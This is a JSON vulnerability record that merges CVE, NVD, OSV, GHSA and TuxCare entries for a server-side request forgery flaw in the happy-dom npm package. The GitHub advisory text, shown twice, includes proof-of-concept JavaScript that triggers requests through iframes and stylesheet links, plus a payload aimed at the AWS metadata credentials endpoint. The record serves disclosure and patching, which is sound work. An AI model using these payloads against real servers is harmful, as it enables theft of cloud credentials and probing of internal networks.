{"id":"CVE-2026-118660","aliases":["CLSA-2026-1793700814","CLSA-2026-1793974322","CLSA-2026-1793974458","CLSA-2026-1793974549","CLSA-2026-1793974658","CLSA-2026-1793981813","EUVD-2026-112467","GHSA-c8p4-j97h-3vg8"],"status":"published","title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00405,"percentile":0.35227,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-10-28T20:23:10Z","modified":"2026-11-06T19:00:04Z","fixes":[{"ecosystem":"npm","package":"happy-dom","fixed_in":["21.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"20.14.6"},{"fixed":"21.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.12.0-tuxcare.0"},{"fixed":"20.12.0-tuxcare.2"}]}],"versions":["20.12.0","20.12.0-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.2"}]}],"versions":["9.10.9","9.10.9-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.6"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3","9.20.3-tuxcare.4","9.20.3-tuxcare.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.12.3-tuxcare.0"},{"fixed":"14.12.3-tuxcare.3"}]}],"versions":["14.12.3","14.12.3-tuxcare.1","14.12.3-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.5"}]}],"versions":["15.11.7","15.11.7-tuxcare.1","15.11.7-tuxcare.2","15.11.7-tuxcare.3","15.11.7-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.3"}]}],"versions":["20.8.8","20.8.8-tuxcare.1","20.8.8-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"21.0.0"}]}]}],"products":[{"vendor":"capricorn86","product":"happy-dom"}],"references":[{"url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/capricorn86/happy-dom/pull/2502","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-c8p4-j97h-3vg8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/118xxx/CVE-2026-118660.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118660","tags":["advisory"]},{"url":"https://github.com/capricorn86/happy-dom","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-118660","title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","status":"published","published":"2026-10-28T20:23:10.122Z","modified":"2026-10-29T17:23:32.163Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:20:03.827373Z"}],"euvd":[{"id":"EUVD-2026-112467","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","status":"published","published":"2026-10-28T20:23:10Z","modified":"2026-10-29T17:23:32Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:59:15.391097Z"}],"ghsa":[{"id":"GHSA-c8p4-j97h-3vg8","title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `\u003ciframe\u003e` or `\u003clink rel=\"stylesheet\"\u003e` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom \u003c= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` — `\u003clink\u003e` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\n// Start attacker server\nconst srv = http.createServer((req, res) =\u003e {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.end('\u003chtml\u003e\u003cbody\u003estolen\u003c/body\u003e\u003c/html\u003e');\n});\n\nsrv.listen(9995, () =\u003e {\n    // iframe SSRF — happy-dom makes a real GET request\n    const win1 = new Window({ url: 'http://localhost' });\n    win1.document.write('\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://127.0.0.1:9995/iframe-ssrf\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e');\n\n    // stylesheet SSRF — happy-dom makes a real GET request\n    const win2 = new Window({ url: 'http://localhost' });\n    win2.document.write('\u003chtml\u003e\u003chead\u003e\u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e');\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require('happy-dom');\nconst win = new Window({ url: 'http://localhost' });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write('\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e');\n```\n\n## Impact\n- **Cloud credential theft** — `\u003ciframe src=\"http://169.254.169.254/...\"\u003e` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** — probe internal services and ports\n- **Data exfiltration** — read responses from internal APIs\n- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.","status":"published","published":"2026-10-28T21:06:42Z","modified":"2026-10-28T21:06:43Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:41:39.926569Z"}],"nvd":[{"id":"CVE-2026-118660","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","status":"published","published":"2026-10-28T21:16:56.123Z","modified":"2026-10-29T18:17:27.943Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:13:04.6346Z"}],"osv":[{"id":"CVE-2026-118660","title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","status":"published","published":"2026-10-28T20:23:10.122Z","modified":"2026-10-31T02:30:49.596206679Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:44:57.008854Z"},{"id":"GHSA-c8p4-j97h-3vg8","title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `\u003ciframe\u003e` or `\u003clink rel=\"stylesheet\"\u003e` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom \u003c= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` — `\u003clink\u003e` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\n// Start attacker server\nconst srv = http.createServer((req, res) =\u003e {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.end('\u003chtml\u003e\u003cbody\u003estolen\u003c/body\u003e\u003c/html\u003e');\n});\n\nsrv.listen(9995, () =\u003e {\n    // iframe SSRF — happy-dom makes a real GET request\n    const win1 = new Window({ url: 'http://localhost' });\n    win1.document.write('\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://127.0.0.1:9995/iframe-ssrf\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e');\n\n    // stylesheet SSRF — happy-dom makes a real GET request\n    const win2 = new Window({ url: 'http://localhost' });\n    win2.document.write('\u003chtml\u003e\u003chead\u003e\u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e');\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require('happy-dom');\nconst win = new Window({ url: 'http://localhost' });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write('\u003chtml\u003e\u003cbody\u003e\u003ciframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\u003e\u003c/iframe\u003e\u003c/body\u003e\u003c/html\u003e');\n```\n\n## Impact\n- **Cloud credential theft** — `\u003ciframe src=\"http://169.254.169.254/...\"\u003e` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** — probe internal services and ports\n- **Data exfiltration** — read responses from internal APIs\n- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.","status":"published","published":"2026-10-28T21:06:42Z","modified":"2026-10-28T21:15:05.975638337Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"CLSA-2026-1793700814","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.12.0-tuxcare.2.","status":"published","published":"2026-11-03T11:13:35Z","modified":"2026-11-03T13:30:04.059695623Z","updated_at":"2026-11-03T14:04:50.729288Z"},{"id":"CLSA-2026-1793974322","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.10.9-tuxcare.2.","status":"published","published":"2026-11-06T15:12:03Z","modified":"2026-11-06T19:00:04.387927403Z","updated_at":"2026-11-06T19:05:31.753133Z"},{"id":"CLSA-2026-1793974458","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.20.3-tuxcare.6.","status":"published","published":"2026-11-06T15:14:19Z","modified":"2026-11-06T19:00:03.376785361Z","updated_at":"2026-11-06T19:05:31.753133Z"},{"id":"CLSA-2026-1793974549","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 14.12.3-tuxcare.3.","status":"published","published":"2026-11-06T15:15:50Z","modified":"2026-11-06T19:00:03.387649147Z","updated_at":"2026-11-06T19:05:31.753133Z"},{"id":"CLSA-2026-1793974658","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.5.","status":"published","published":"2026-11-06T15:17:39Z","modified":"2026-11-06T19:00:03.394776773Z","updated_at":"2026-11-06T19:05:31.753133Z"},{"id":"CLSA-2026-1793981813","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.8.8-tuxcare.3.","status":"published","published":"2026-11-06T17:16:54Z","modified":"2026-11-06T19:00:02.357632177Z","updated_at":"2026-11-06T19:05:31.753133Z"}]}}
